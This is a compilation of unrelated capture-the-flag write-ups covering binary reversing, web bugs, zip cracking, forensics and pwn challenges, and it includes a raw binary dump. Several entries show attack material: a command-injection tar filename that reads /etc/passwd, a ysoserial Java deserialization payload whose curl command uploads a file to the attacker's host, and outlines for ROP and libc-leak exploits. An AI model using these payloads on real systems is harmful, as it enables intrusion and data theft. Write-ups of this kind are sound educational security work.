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#HackCon 2016##Army of Binaries
###DescriptionThe service presents you a random binary every time asking you to get the correct input so as to run the "yes" condition in the binary. The game has 31 rounds. Go fight! nc 52.88.137.165 8000
Operating System: ?
Reported Difficulty: Medium
###Connecting to it
```nc 52.88.137.165 8000Welcome to Sheldon Cooper presents "Fun with Bins"In the first episode, we're going to have fun reversing simple binariesI will send you a random binary. To pass the stage, you'll need to give me the input to reach the "Yes" condition.Lets get started
-> Round 1ELF????>?�@@(?@8 @???@@@@@�?�??8?8?@8?@????@@L L ????`?`H?`? ??((`(`�?�??T?T?@T?@DD?P�td?@@44?Q�td??R�td???`?`�?�??/lib64/ld-linux-x86-64.so.2???GNU?? ???GNU�����;f2�z?L� ?? gUa? D ???5???<?/?N )??`?libc.so.6strncmpputs__stack_chk_failstdinfgetss?]?u?i_l?g`?`???`? ?`?(?`?0?`?8?`@?`?H�H�_2.4GLIBC_2.2.5????????????ii H��t�{H���5 �% ?@�% h������% h?������% h?������%� h?������%� h?������%� h������%R f�1�I��^H��H���PTI���@H��@@H�Ǧ?@������f?D�_?`UH-X?`H�H��v?�H��t?]�X?`��f?�]?@f.?��X?`UH��X?`H��?H��H��H��?H?�H��t?�H��t ]�X?`�?]�f?D�=? u?UH���n���]�� ?�?@� `H�?u?�H��t�UH����]�z���UH��H�ĀdH�?%(H�E�1�H�E��@H�?� H�E��dH�������H�E�H���w���H��?�D�H�M�H�E��dH��H���6�����u �@�8����@�,����H�M�dH3 %(t�3����ÐAWAVA��AUATL�%�? UH�-�? SI��I��L)�H�H��?�����H��t 1?�L��L��D��A�?�H��?H9�u�H�[]A\A]A^A_Ðf.?���H�H��??0492740db44909f34d319ec6e37c71872c6ef7472de45f280fe54a645df3e01f2a56c173b7d8ebYesNope???;4?��������P����� ��������????zR?x??? �????8���*??zR?x??? �?$?����p?F?J??� �??;*3$"?D�����A?�?C DdP���eB?B?E �?B(�H0�?H8�M@r8A0A(B B?B??�x���?�?@`?@??�@??`??`���o�?@�?@?�?@ ?@s ????`?�??�?@P?0 ?���o ?@���o?���o ?@(`F@V@f@v@�@�@GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.2) 5.4.0 20160609??8?@??T?@??t?@??�?@?�?@??�?@? ?@ ?@? P?@?�?@? ?@?�@?�@?�@??�@??@??@???`???`?? `??(`??`???`??H?`??`?`????�� ?? `??�@?? ?@.?`?@D??h?`?S???`z?�?@�???`�?��??���??H @???? `?��????`!???(`*???`=??@P????`f??�@?v??�? 7? ?H?`�??�???`?�???X?`p??�@�??�?????"??5???H?`B? Q????P?`^???�@?m??@@e????p?`;??�@*}???X?`�??�?@� �????X?`�? w?? [email protected]__JCR_LIST__deregister_tm_clones__do_global_dtors_auxcompleted.7585__do_global_dtors_aux_fini_array_entryframe_dummy__frame_dummy_init_array_entry0492740db44909f34d319ec6e37c71872c6ef7472de45f280fe54a645df3e01f2a56c173b7d8eb.c__FRAME_END____JCR_END____init_array_end_DYNAMIC__init_array_start__GNU_EH_FRAME_HDR_GLOBAL_OFFSET_TABLE___libc_csu_finistrncmp@@GLIBC_2.2.5_ITM_deregisterTMCloneTableputs@@GLIBC_2.2.5stdin@@GLIBC_2.2.5_edatastrlen@@GLIBC_2.2.5__stack_chk_fail@@GLIBC_2.4__libc_start_main@@GLIBC_2.2.5fgets@@GLIBC_2.2.5__data_start__gmon_start____dso_handle_IO_stdin_used__libc_csu_init__bss_startmain_Jv_RegisterClasses__TMC_END___ITM_registerTMCloneTable.symtab.strtab.shstrtab.interp.note.ABI-tag.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.plt.got.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.jcr.dynamic.got.plt.data.bss.comment???8?@8???#?T?@T? ?1?t?@t?$?D���o?�?@�?N ?�?@�?�??V??�?@�?s?^���o? ?@ ????k���o? ?@ ?0?z??P?@P??�?B�?@�?�? ???@???�??0@0p??�??��??�@�???�??�@� ?�??�@��??@4?�??@�??�??`�?? �??(`(�??��???`�??H?`H??`?`X??????0X?4?????? ????�?�??? ?P?�??You got it?```
On each round we get a binary, if we copy it to a file and give it appropriate permissions we can run it.
The program asks for input and prints Nope but we need it to print Yes.
By firing up IDA, we can take a look at the main function:```cint __cdecl main(int argc, const char **argv, const char **envp){ int result; // eax@4 __int64 v4; // rcx@4 char *s1; // [sp+8h] [bp-78h]@1 char s[104]; // [sp+10h] [bp-70h]@1 __int64 v7; // [sp+78h] [bp-8h]@1
v7 = *MK_FP(__FS__, 40LL); s1 = "eb89da5ea3bb2ff43f64e800792e852cae68069623e66e9df8e805eef74a7d99e97e6842a6"; fgets(s, 100, stdin); s[strlen(s) - 1] = 0; if ( !strncmp(s1, s, 0x64uLL) ) puts("Yes"); else puts("Nope"); result = 0; v4 = *MK_FP(__FS__, 40LL) ^ v7; return result;}```
The string it uses to compare with the user input and return Yes is the 17th (or sometimes 18th) line returned with `strings bin.a`, where bin.a is the binary provided.
This repeats for 31 rounds, after correctly guessing the last one, the flag is returned.
###PayloadThe payload was written in python```from pwn import *from time import sleep
def remove_last_line_from_string(s): return s[:s.rfind('\n')]
r = remote('52.88.137.165', '8000')# EXPLOIT CODE GOES HEREfor round in range (1, 32): print r.recvuntil('-> Round '+str(round), timeout=10) bin = r.recvuntil('You got it?', timeout=10) bin = remove_last_line_from_string(bin) f = open("bin.a", "w") f.write(bin) f.close()
answer = subprocess.Popen("strings bin.a | head -n 17 | tail -1", shell=True, stdout=subprocess.PIPE).stdout.read() if '[]A\A]A^A_' in answer: print 'weird case' #sometimes this happens lmao answer = subprocess.Popen("strings bin.a | head -n 18 | tail -1", shell=True, stdout=subprocess.PIPE).stdout.read() print answer r.send(answer) sleep(0.5)
r.interactive()``` |
# Job Portal (200, Web/Exploit)
> They pretend to check your letter of application. > I want to proof that they are doing nothing to help you. Get me access to the filesystem!
In this task we were given access to service allowing to upload tar files. When uploaded, we could check thetarball contents (file names only) on separate page. The URL extension was `.cgi`, which hinted at possibleshell injection. Indeed, when we submitted tar with one file called `name; cat /etc/passwd`, we could read directory contents listed on the website. Getting the flag from there was just a matter of `cat`ting it. |
## Orgone Market (Web, 300p)
###ENG[PL](#pl-version)
In the task we get a link to a webpage where we can buy some conspiracy-related objects for special orgone coins.However we have 0 coins and those things cost!There is a form on the page to claim free 300 coins, but this is not enough to buy anything on the page.
After poking around to check for some other possible vulnerabilities we figure that the intended solution is to use a timing attack / race condition and send multiple coin claim requests and thus getting multiple of the 300 free coins.The first problem was the fact that there was a captcha to solve, however it was predictable and was changing every 1s.The second problem that every failed attempt required registering new account.So after we failed twice (apparently we had to send the requests in different sessions!) we checked again if maybe there is some easier way to get the flag.
And it turned out there was an unintended vulnerability - when we were sending request to buy an item we provided ID of the object to buy.Apparently the script was then querying the price from database to check if we can afford it. However, if the ID we sent was missing in the DB there was no check to verify it, and the price was taken from returned NULL, which coerced to 0.And we could afford to buy the non-existent item, getting the flag in return.
`flag{1m_s0rr4y_th4t_th3r3_1s_no_s3cr3t_4_U}`
###PL version
W zadaniu dostajemy link do strony internetowej gdzie możemy kupić przedmioty związane ze spiskową teorią dzieją za specjalna walutę orgone coins.Niestety mamy 0 monet a wszystko kosztuje!Na stronie jest formularz pozwalający nam uzyskać darmowe 300 monet, ale to nie wystarczy na kupno żadnego z przedmiotów.
Po upewnieniu się szybko czy nie ma na stronie żadnych innych oczywistych podatności uznaliśmy, że oczekiwane rozwiązanie to atak czasowy / race condition polegający na wysłaniu kilku requestów do pobrania darmowych monet i w ten sposób uzyskanie wielokrotności 300.Pierwszy problem stanowił fakt, że była tam captcha do rozwiązania, ale była ona przewidywalna i zmieniała się co 1s.Drugi problem polegał na tym, że nieudana próba wymagała zakładania nowego konta.Po dwóch porażkach (najwyraźniej requesty trzeba było wysłać z dwóch równoległych sesji!) postanowiliśmy jeszcze raz poszukać łatwiejszej drogi do flagi.
I okazało się, że istnieje niezamierzona podatność - kiedy wysyłamy żądanie kupna przedmiotu dostarczamy jego ID.Najwyraźniej skrypt następnie pobiera cenę przedmiotu o podanym ID aby sprawdzić czy mamy dość monet żeby go kupić.Niemniej jednak jeśli ID nie istnieje w bazie nie ma żadnej weryfikacji i cena jest brana ze zwróconego przez bazę NULLa, który rzutuje się do 0.W efekcie możemy bez problemu pozwolić sobie na kupno nieistniejącego przedmiotu i tym samym na uzyskanie flagi.
`flag{1m_s0rr4y_th4t_th3r3_1s_no_s3cr3t_4_U}` |
# zip (300, coding)
> We found a strange zip file. Sadly the content is encrypted. As only criminals encrypt their stuff we need to decrypt this urgently.> Flag format is FLAGB**************S.
In this task we got a zip file containing a couple of other small zip files. All of them were encrypted, but their sizewas only up to 5 bytes - just like in recent [Backdoor CTF task](https://github.com/p4-team/ctf/tree/master/2016-06-04-backdoor-ctf/crypto_crc). See that writeup fordetails.
After decrypting, this is what we got:
```1 main(2 ){int3 n=244 ;whil5 e(n--6 ){put7 char(8 9 10 ]^n);11 }}```Files 8 and 9 were missing. However, basing on flag format from task description, we could guess what should go in theseempty places:```In [1]: s="FLAGB"
In [2]: for i, c in zip(range(23,0,-1), s): ...: print chr(ord(c)^i) ...: QZTSQ```It might be a bit of guess, but we see that the last letter is the same as the first one, indicating period equal to 4.If we put `"STZQ` in file 8, and `"[n%4` in file 9, then both files have size equal to 5, just like the others, andthe output of compiled program matches flag format.```main(){int n=24;while(n--){putchar("STZQ"[n%4]^n);}}// Prints FLAGBHEC^TY_ZP][V\QWRXUS``` |
## Akashic Records (Pwn, 200p)
###ENG[PL](#pl-version)
In the task we get a simple Java application to analyse.Most of the application is dedicated to setting up a REST api, however there is an interesting class:
```java// Debug
package com.supersecure.rest;
import com.supersecure.control.IMainControl;import com.supersecure.control.impl.MainControl;import com.supersecure.model.IBook;import com.supersecure.model.impl.Book;import org.apache.commons.collections.list.TreeList;
import java.io.IOException;import java.io.ObjectInputStream;import java.net.ServerSocket;import java.net.Socket;
public class BookAdd implements Runnable { private ServerSocket serverSocket = null; private IMainControl mainControl = null; // for evaluation purpose private final TreeList exceptionList = new TreeList();
private void startSocket() { if (serverSocket != null) { try { if (!serverSocket.isClosed()) { serverSocket.close(); } } catch (IOException e) { exceptionList.add(e); e.printStackTrace(); } serverSocket = null; } try { serverSocket = new ServerSocket(6666); if (mainControl == null) { mainControl = new MainControl(); } } catch (IOException e) { exceptionList.add(e); e.printStackTrace(); } }
@Override public void run() { startSocket(); while (true) { try { Socket socket = serverSocket.accept(); (new Thread(() -> { ObjectInputStream inputStream = null; try { inputStream = new ObjectInputStream(socket.getInputStream()); IBook book = (Book) inputStream.readObject(); mainControl.addBook(book); } catch (IOException | ClassNotFoundException e) { exceptionList.add(e); e.printStackTrace(); }
})).start(); } catch (IOException e) { exceptionList.add(e); e.printStackTrace(); startSocket(); } } }}
```
As can be seen this class exposes a raw socket connection and accepts serialized Java objects to deserialize.Deserialization of payloads from untrusted sources is a very common vulnerability, since most deserializers provide an option to run code in order to set values for transient fields.It is the case for python pickle, for java XMLDecoder and it is also for ObjectInputStream.
In this case there are a few known common libraries that contain classes which can be used to invoke a shell command during deserialization.In our example in the pom.xml we could see:
``` <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency>```
Which is one of the libraries with gadget chain we need.There is a github project with paylad generator so we used it: https://github.com/frohoff/ysoserialGenerating a payload with
`java -jar ysoserial-0.0.5-SNAPSHOT-all.jar CommonsCollections5 "curl ourhost.net:6666 -T /tmp/weirdFilename" > payload`
And then sending the generated payload to the endpoint provided in the task.As a result we got:
```Connection from [139.59.135.121] port 6666 [tcp/*] accepted (family 2, sport 56867)PUT /weirdFilename HTTP/1.1User-Agent: curl/7.38.0Host: ourhost.net:6666Accept: */*Content-Length: 45Expect: 100-continue
flag{i_foresee_An_Ap0k4lypse_f0r_21_09_2036}```
###PL version
W zadaniu dostajemy prostą aplikacje Javową do analizy.Większość aplikacji poświecona jest ustawieniu api RESTowego, jednak jest tam jedna interesująca klasa:
```java// Debug
package com.supersecure.rest;
import com.supersecure.control.IMainControl;import com.supersecure.control.impl.MainControl;import com.supersecure.model.IBook;import com.supersecure.model.impl.Book;import org.apache.commons.collections.list.TreeList;
import java.io.IOException;import java.io.ObjectInputStream;import java.net.ServerSocket;import java.net.Socket;
public class BookAdd implements Runnable { private ServerSocket serverSocket = null; private IMainControl mainControl = null; // for evaluation purpose private final TreeList exceptionList = new TreeList();
private void startSocket() { if (serverSocket != null) { try { if (!serverSocket.isClosed()) { serverSocket.close(); } } catch (IOException e) { exceptionList.add(e); e.printStackTrace(); } serverSocket = null; } try { serverSocket = new ServerSocket(6666); if (mainControl == null) { mainControl = new MainControl(); } } catch (IOException e) { exceptionList.add(e); e.printStackTrace(); } }
@Override public void run() { startSocket(); while (true) { try { Socket socket = serverSocket.accept(); (new Thread(() -> { ObjectInputStream inputStream = null; try { inputStream = new ObjectInputStream(socket.getInputStream()); IBook book = (Book) inputStream.readObject(); mainControl.addBook(book); } catch (IOException | ClassNotFoundException e) { exceptionList.add(e); e.printStackTrace(); }
})).start(); } catch (IOException e) { exceptionList.add(e); e.printStackTrace(); startSocket(); } } }}
```
Jak widać klasa wystawia surowy socket który przyjmuje serializowane obiekty Javy i próbuje je deserializować.Deserializacja danych pochodzących z niezaufanych źródeł to dość znana podatność, szczególnie że większość deserializerów umożliwia wykonanie kodu, aby ustawić wartości pól transient.Tak jest w przypadku pythonowego pickle, javowego XMLDecoder i tak samo jest i dla ObjectInputStream.
W tym przypadku istnieje kilka popularnych bibliotek, zawierających klasy, które można wykorzystać do wywołania kodu na zdalnej maszynie podczas deserializacji.W naszym przykładzie w pom.xml widzimy:
``` <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency>```
Które jest jedną z bibliotek zawierajacych interesujący nas gadget chain.Istnieje projekt na githubie z gotowym generatorem payloadów więc użyjemy go: https://github.com/frohoff/ysoserialGenerujemy payload przez:
`java -jar ysoserial-0.0.5-SNAPSHOT-all.jar CommonsCollections5 "curl ourhost.net:6666 -T /tmp/weirdFilename" > payload`
I wysyłamy go do endpointa podanego w zadaniu.W efekcie dostajemy:
```Connection from [139.59.135.121] port 6666 [tcp/*] accepted (family 2, sport 56867)PUT /weirdFilename HTTP/1.1User-Agent: curl/7.38.0Host: ourhost.net:6666Accept: */*Content-Length: 45Expect: 100-continue
flag{i_foresee_An_Ap0k4lypse_f0r_21_09_2036}``` |
Challenge has multiple vulnerabilities.There's a format string vulnerability and a stack overflow via memcpy inside the "Show Scoreboard" function.In my exploit I used the stack overflow with no canary and a full ROP since the binary was statically compiled. |
Steps to pwn:1. Download binary from server2. Drop binary to disk3. Analyze binary with objdump4. Parse output from objdump to find size of stack frame and offset to input buffer5. Calculate garbage of payload6. Send "cat flag.txt" shellcode to get next stage binary (32 stages)7. Send that in a loop 32 times |
Description: Can you put this puzzle back together? 172.31.0.10/puzzletime_7e4148595c3837b0f14598eb0f21b272The offered file was a gzipped CSV with 48853 lines, of the format: Value,Right Edge Id,Bottom Edge Id,Left Edge Id,Top Edge Id 0x111811,105686801264,887560873655,312990448974,548925778434 0x384126,650152958814,52199694120,211764317707,433816471245 0xc3bab1,5909959089,950174968371,749641960137,537615257711 0x3e4a24,916756480148,216091138945,804727523965,811655369006 0x3a4d31,426308808667,931973485956,787722656299,55311493582 0xb6aa92,776257260469,503239175816,128107297285,702022168178 0x516437,414462949367,364785201606,944310974796,866635322023 0x1b291a,105359185807,715972077437,104869394726,611561837736The first column, being a 3-byte hex value, immediately jumped out as RGB.Grepping around for a random sampling of "Edge Id"s revealed that most edges only appeared twice in the file, a "Right Edge Id" occuring with a matching "Left Edge Id" on another line.Needing a place to start, we guessed that "0" might be the Edge Id at the border of the image, and a quick grep revealed that to be correct: # Edges: 0x121d15,0,974309486812,473992437188,497944637480 0x1a251f,569290835136,91408348362,0,738900157213 0x1d1f1a,404534979934,0,55925662970,84026215997 0x6e8f98,886611260159,159819253788,530007324828,0 # Corners: 0x799394,286014760927,696891703802,0,0 0x141913,854263618885,0,0,838963856720 0x272727,0,0,898925785824,245795270114 0x252e1d,0,420247040560,174936345665,0By looking for how many edges occurred in a given slot, we can find the size of the image: $ gunzip < puzzletime_7e4148595c3837b0f14598eb0f21b272 | grep '^[^,]\+,0,' | wc -l 207 $ gunzip < puzzletime_7e4148595c3837b0f14598eb0f21b272 | grep '^[^,]\+,[^,]\+,0,' | wc -l 236By writing a program that keeps track of known edges, starting with the top-left edges of `(0,0)`, we were able to look up and render each pixel into our output image: import struct from PIL import Image, ImageDraw size = (207, 236) image = Image.new('RGB', size) draw = ImageDraw.Draw(image) def unpackColor(color): (r,g,b) = struct.unpack('BBB', color[2:].decode('hex')) return (r,g,b) points = dict() tops = dict() lefts = dict() def _color(elem): return elem[0] def _right(elem): return elem[1] def _bottom(elem): return elem[2] def _left(elem): return elem[3] def _top(elem): return elem[4] # Read all input into `points`, tracking the bottom and left edges with open('data.csv') as data: data.readline() i = 0 for line in data: elem = line.strip().split(',') points[(_left(elem),_top(elem))] = elem tops.setdefault(_top(elem), []).append(elem) lefts.setdefault(_right(elem), []).append(elem) wants = dict() wants[('0', '0')] = (0,0) while wants: for idx in wants.keys(): if idx not in points: print "Error:", idx del wants[idx] continue elem = points[idx] (x, y) = wants[(_left(elem),_top(elem))] print ' ', x, y, elem draw.point((x,y), unpackColor(_color(elem))) if _bottom(elem) != '0': wants[(_left(tops[_bottom(elem)][0]), _bottom(elem))] = (x, y+1) if _right(elem) != '0': wants[(_right(elem), _top(lefts[_right(elem)][0]))] = (x+1, y) del wants[idx] image.save('out.png') print "Done"After running the program, we were greeted with a picture of a goat, with the key written across the top.Answer: PuzzleGoatKeyIsBestKey |
Steps to pwn:1. Out of bounds array access vulnerability2. Use out of bounds vuln to leak the canary and saved return pointer of main which will give us the load address of __libc_start_main+93. Subtract 9 from leaked return pointer and find the libc version in libc-databases or construct your own leak function by using puts/printf from GOT or PLT to leak the whole libc.4. Construct payload with canary, calculated address of system and calculated address of the string "/bin/sh" in libc. |
<span>Challenge : MISC/IoT/Networks 100 pts Approach/Solution :First going through the conversation we realise that someone tried to login, failed </span>2 times but succeeded third time. The login credentials are username : "reds" and password : "ynwa". If we carefully examine output of other commands executed by the user we will see the ip xfrm state command.ip xfrm is a tool used in linux to encrypt the payloads of packets for different protocols, more can be found here. The output of the command is here.From the output we know all the parameters (ESB protocol used, AES with cbc mode with key and sha1 hash auth with hash value used) that were used for encrypting the packets. After searching internet to decrypt the payloads of packets encrypted using ESB and AES, I realised this can be done. Thankfully we don't need to write our own tool to decrypt the payloads as wireshark has the facility inbuilt. This post really helped to decrypt the payloads. After that go through the conversation that were decrypted by this and you will find some HTML code requesting flag.png. After that we know flag.png was transferred over the network but was encrypted. Now we can directly export the image from wireshark. |
# for1 - GoogleCTF
First of all i executed `file` after unzipping the archive ```bashfile dump1.raw dump1.raw: ELF 64-bit LSB core file x86-64, version 1 (SYSV) ```With ```bash$ hexdump -C dump1.raw | less00000000 7f 45 4c 46 02 01 00 00 00 00 00 00 00 00 00 00 |.ELF............|00000010 04 00 3e 00 01 00 00 00 00 00 00 00 00 00 00 00 |..>.............|00000020 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |@...............|00000030 00 00 00 00 40 00 38 00 09 00 40 00 00 00 00 00 |[email protected]...@.....|00000040 04 00 00 00 04 00 00 00 38 02 00 00 00 00 00 00 |........8.......|00000050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|00000060 70 22 00 00 00 00 00 00 70 22 00 00 00 00 00 00 |p"......p"......|00000070 00 00 00 00 00 00 00 00 01 00 00 00 04 00 00 00 |................|00000080 a8 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |.$..............|00000090 00 00 00 00 00 00 00 00 00 00 00 30 00 00 00 00 |...........0....|000000a0 00 00 00 30 00 00 00 00 00 00 00 00 00 00 00 00 |...0............|000000b0 01 00 00 00 04 00 00 00 a8 24 00 30 00 00 00 00 |.........$.0....|000000c0 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 00 |................|000000d0 00 00 00 08 00 00 00 00 00 00 00 08 00 00 00 00 |................|000000e0 00 00 00 00 00 00 00 00 01 00 00 00 04 00 00 00 |................|000000f0 a8 24 00 38 00 00 00 00 00 00 00 00 00 00 00 00 |.$.8............|00000100 00 00 00 f0 00 00 00 00 00 00 00 00 00 00 00 00 |................|00000110 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|00000120 01 00 00 00 04 00 00 00 a8 24 00 38 00 00 00 00 |.........$.8....|00000130 00 00 00 00 00 00 00 00 00 00 40 f0 00 00 00 00 |..........@.....|00000140 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 |..@.......@.....|00000150 00 00 00 00 00 00 00 00 01 00 00 00 04 00 00 00 |................|00000160 a8 24 40 38 00 00 00 00 00 00 00 00 00 00 00 00 |.$@8............|00000170 00 00 80 f0 00 00 00 00 00 40 00 00 00 00 00 00 |.........@......|00000180 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |.@..............|00000190 01 00 00 00 04 00 00 00 a8 64 40 38 00 00 00 00 |.........d@8....|000001a0 00 00 00 00 00 00 00 00 00 00 c0 fe 00 00 00 00 |................|000001b0 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 |................|000001c0 00 00 00 00 00 00 00 00 01 00 00 00 04 00 00 00 |................|000001d0 a8 64 40 38 00 00 00 00 00 00 00 00 00 00 00 00 |.d@8............|000001e0 00 00 e0 fe 00 00 00 00 00 00 00 00 00 00 00 00 |................|000001f0 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|00000200 01 00 00 00 04 00 00 00 a8 64 40 38 00 00 00 00 |.........d@8....|00000210 00 00 00 00 00 00 00 00 00 00 ff ff 00 00 00 00 |................|00000220 00 00 01 00 00 00 00 00 00 00 01 00 00 00 00 00 |................|00000230 00 00 00 00 00 00 00 00 06 00 00 00 18 00 00 00 |................|00000240 00 0b 00 00 56 42 43 4f 52 45 00 00 de c0 1a c0 |....VBCORE......|00000250 03 00 01 00 18 00 00 00 10 00 00 05 8f 9d 01 00 |................|00000260 01 00 00 00 05 00 00 00 30 22 00 00 01 0b 00 00 |........0"......|00000270 56 42 43 50 55 00 00 00 00 55 3c 63 00 f8 ff ff |VBCPU....U<\c....|```I see that this is a dump of a VirtualBox instance, by looking at `VBCORE` and `VBCPU` strings.
I usually solve this kind of challenge with `volatility`, but honestly i had some problem with that tool during the CTF. So i thought "why don't try `Rekall` this time"? So i loaded the dump image into Rekall workspace```bash$ Rekal -f dump1.raw```and printed the list of process```bash>>> pslist() _EPROCESS Name PID PPID Thds Hnds Sess Wow64 Start Exit -------------- -------------------- ----- ------ ------ -------- ------ ------ ------------------------ ------------------------0xe00032553780 System 4 0 126 - - False 2016-04-04 16:12:33Z - 0xe00033f1f780 sihost.exe 92 796 10 - 1 False 2016-04-04 16:12:37Z - 0xe0003389c040 smss.exe 268 4 2 - - False 2016-04-04 16:12:33Z - 0xe000349285c0 taskhostw.exe 332 796 10 - 1 False 2016-04-04 16:17:40Z - 0xe0003381b080 csrss.exe 344 336 8 - 0 False 2016-04-04 16:12:33Z - 0xe000325ba080 wininit.exe 404 336 1 - 0 False 2016-04-04 16:12:34Z - 0xe000325c7080 csrss.exe 412 396 9 - 1 False 2016-04-04 16:12:34Z - 0xe00033ec6080 winlogon.exe 460 396 2 - 1 False 2016-04-04 16:12:34Z - 0xe00033efb440 services.exe 484 404 3 - 0 False 2016-04-04 16:12:34Z - 0xe00033f08080 lsass.exe 492 404 6 - 0 False 2016-04-04 16:12:34Z - 0xe00033ec5780 svchost.exe 580 484 16 - 0 False 2016-04-04 16:12:34Z - 0xe00034377780 svchost.exe 608 484 17 - 0 False 2016-04-04 16:12:34Z - 0xe00034202280 svchost.exe 612 484 9 - 0 False 2016-04-04 16:12:34Z - 0xe00034ade080 svchost.exe 628 484 1 - 1 False 2016-04-04 16:14:43Z - 0xe000341cb640 dwm.exe 712 460 8 - 1 False 2016-04-04 16:12:34Z - 0xe00034222780 svchost.exe 796 484 45 - 0 False 2016-04-04 16:12:34Z - 0xe000342a7780 VBoxService.ex 828 484 10 - 0 False 2016-04-04 16:12:34Z - 0xe000342ad780 svchost.exe 844 484 8 - 0 False 2016-04-04 16:12:34Z - 0xe000342c0080 svchost.exe 852 484 6 - 0 False 2016-04-04 16:12:34Z - 0xe000342dd780 svchost.exe 892 484 18 - 0 False 2016-04-04 16:12:34Z - 0xe000342bc780 svchost.exe 980 484 17 - 0 False 2016-04-04 16:12:34Z - 0xe000343e7780 spoolsv.exe 1072 484 8 - 0 False 2016-04-04 16:12:34Z - 0xe000343e9780 svchost.exe 1092 484 23 - 0 False 2016-04-04 16:12:35Z - 0xe0003442a780 rundll32.exe 1148 796 1 - 0 False 2016-04-04 16:12:35Z - 0xe00034494780 CompatTelRunne 1224 1148 9 - 0 False 2016-04-04 16:12:35Z - 0xe00034495780 svchost.exe 1276 484 10 - 0 False 2016-04-04 16:12:35Z - 0xe0003259b3c0 taskhostw.exe 1532 796 9 - 1 False 2016-04-04 16:12:37Z - 0xe0003461d780 svchost.exe 1564 484 5 - 0 False 2016-04-04 16:12:35Z - 0xe000345da780 wlms.exe 1616 484 2 - 0 False 2016-04-04 16:12:35Z - 0xe00034623780 MsMpEng.exe 1628 484 24 - 0 False 2016-04-04 16:12:35Z - 0xe00034b08780 OneDrive.exe 1692 2336 10 - 1 True 2016-04-04 16:12:55Z - 0xe00033e00780 svchost.exe 1772 484 3 - 0 False 2016-04-04 16:12:37Z - 0xe000343b2340 cygrunsrv.exe 1832 484 4 - 0 False 2016-04-04 16:12:35Z - 0xe0003479b780 cygrunsrv.exe 1976 1832 0 - 0 False 2016-04-04 16:12:36Z 2016-04-04 16:12:36Z 0xe000347aa780 conhost.exe 2004 1976 2 - 0 False 2016-04-04 16:12:36Z - 0xe0003472b080 notepad.exe 2012 2336 1 - 1 False 2016-04-04 16:14:49Z - 0xe000347c1080 sshd.exe 2028 1976 3 - 0 False 2016-04-04 16:12:36Z - 0xe000339d4340 NisSrv.exe 2272 484 6 - 0 False 2016-04-04 16:12:38Z - 0xe000336e8780 userinit.exe 2312 460 0 - 1 False 2016-04-04 16:12:38Z 2016-04-04 16:13:04Z 0xe000336e3780 explorer.exe 2336 2312 31 - 1 False 2016-04-04 16:12:38Z - 0xe0003374f780 RuntimeBroker. 2456 580 6 - 1 False 2016-04-04 16:12:38Z - 0xe00033a39080 SearchIndexer. 2664 484 13 - 0 False 2016-04-04 16:12:39Z - 0xe00033a79780 ShellExperienc 2952 580 41 - 1 False 2016-04-04 16:12:39Z - 0xe000349e4780 WmiPrvSE.exe 3032 580 6 - 0 False 2016-04-04 16:16:37Z - 0xe00033b57780 SearchUI.exe 3144 580 38 - 1 False 2016-04-04 16:12:40Z - 0xe000348c6780 VBoxTray.exe 3324 2336 10 - 1 False 2016-04-04 16:12:55Z - 0xe00033e1d780 DismHost.exe 3636 1224 2 - 0 False 2016-04-04 16:12:47Z - 0xe000348e9780 svchost.exe 3992 484 6 - 0 False 2016-04-04 16:12:52Z - 0xe00034b0f780 mspaint.exe 4092 2336 3 - 1 False 2016-04-04 16:13:21Z - Plugin: pslist```this was my first WIN10 image, but the default process of windows seemed not malicius to me (however i spent some time by checking them because i didn't solve this chall immediatly) . So with the `pstree` plugin i focused on user processes```bash>>> pstree()_EPROCESS PPid Thds Hnds Time ---------------------------------------- ------ ------ ------ ------------------------.......... 0xe000341cb640 dwm.exe (712) 460 8 - 2016-04-04 16:12:34Z . 0xe000336e8780 userinit.exe (2312) 460 0 - 2016-04-04 16:12:38Z .. 0xe000336e3780 explorer.exe (2336) 2312 31 - 2016-04-04 16:12:38Z ... 0xe00034b08780 OneDrive.exe (1692) 2336 10 - 2016-04-04 16:12:55Z ... 0xe0003472b080 notepad.exe (2012) 2336 1 - 2016-04-04 16:14:49Z ... 0xe000348c6780 VBoxTray.exe (3324) 2336 10 - 2016-04-04 16:12:55Z ... 0xe00034b0f780 mspaint.exe (4092) 2336 3 - 2016-04-04 16:13:21Z 0xe00032553780 System (4) 0 126 - 2016-04-04 16:12:33Z . 0xe0003389c040 smss.exe (268) 4 2 - 2016-04-04 16:12:33Z Plugin: pstree```I had 3 candidates: `OneDrive`, `notepad` and `paint`. Rekal has too many nice plugins, and i tried a lot of them. I checked too many informations about these 3 processes, like dumping handled files by the processes but with no luck.After 12 hours searching for any suspicius thing, i realized that if the user uses paint without open and write files the temporary file is memorized in RAM (and this is the reason why `handles` plugin didn't show anything good!). So i dumped the memory used by paint's process```bash>>> memdump(pid=4092)**************************************************Writing 0xe00034b0f780 mspaint.exe 4092 to mspaint.exe_4092.dmpPlugin: memdump```renamed the `mspaint.exe_4092.dmp` file with `mspaint.exe_4092.data` and opened this with gimp (because i'm looking for an image!).
Manually i looked for anything that seemed an image
with this offset i got something interesting. Playing a little bit with `width` and `height` i got
and flipping that we had the solution
I had a lot of fun solving that challenge, in particular i discover Rekall and in my opinion in some cases it is so much better than volatility. |
### A Strong Feeling
> Do you think you could defeat this password checker for us? It's making me real pissed off! `/home/a_strong_feeling/` on the shell or download it [here](./a_strong_feeling_e899e7d22834063c8600846d0b860577785e6d1c2fcabbd61c793db3601286cc)
Just use [radare2](https://github.com/radare/radare2), guys!
Flag: `IceCTF{pip_install_angr}` |
### ROPi
> Ritorno orientata programmazione `nc ropi.vuln.icec.tf 6500` [download file](./ropi_1335922d55bc23ddc49a8c5077723113d5cddf02756ad8231e96058188bfc249)
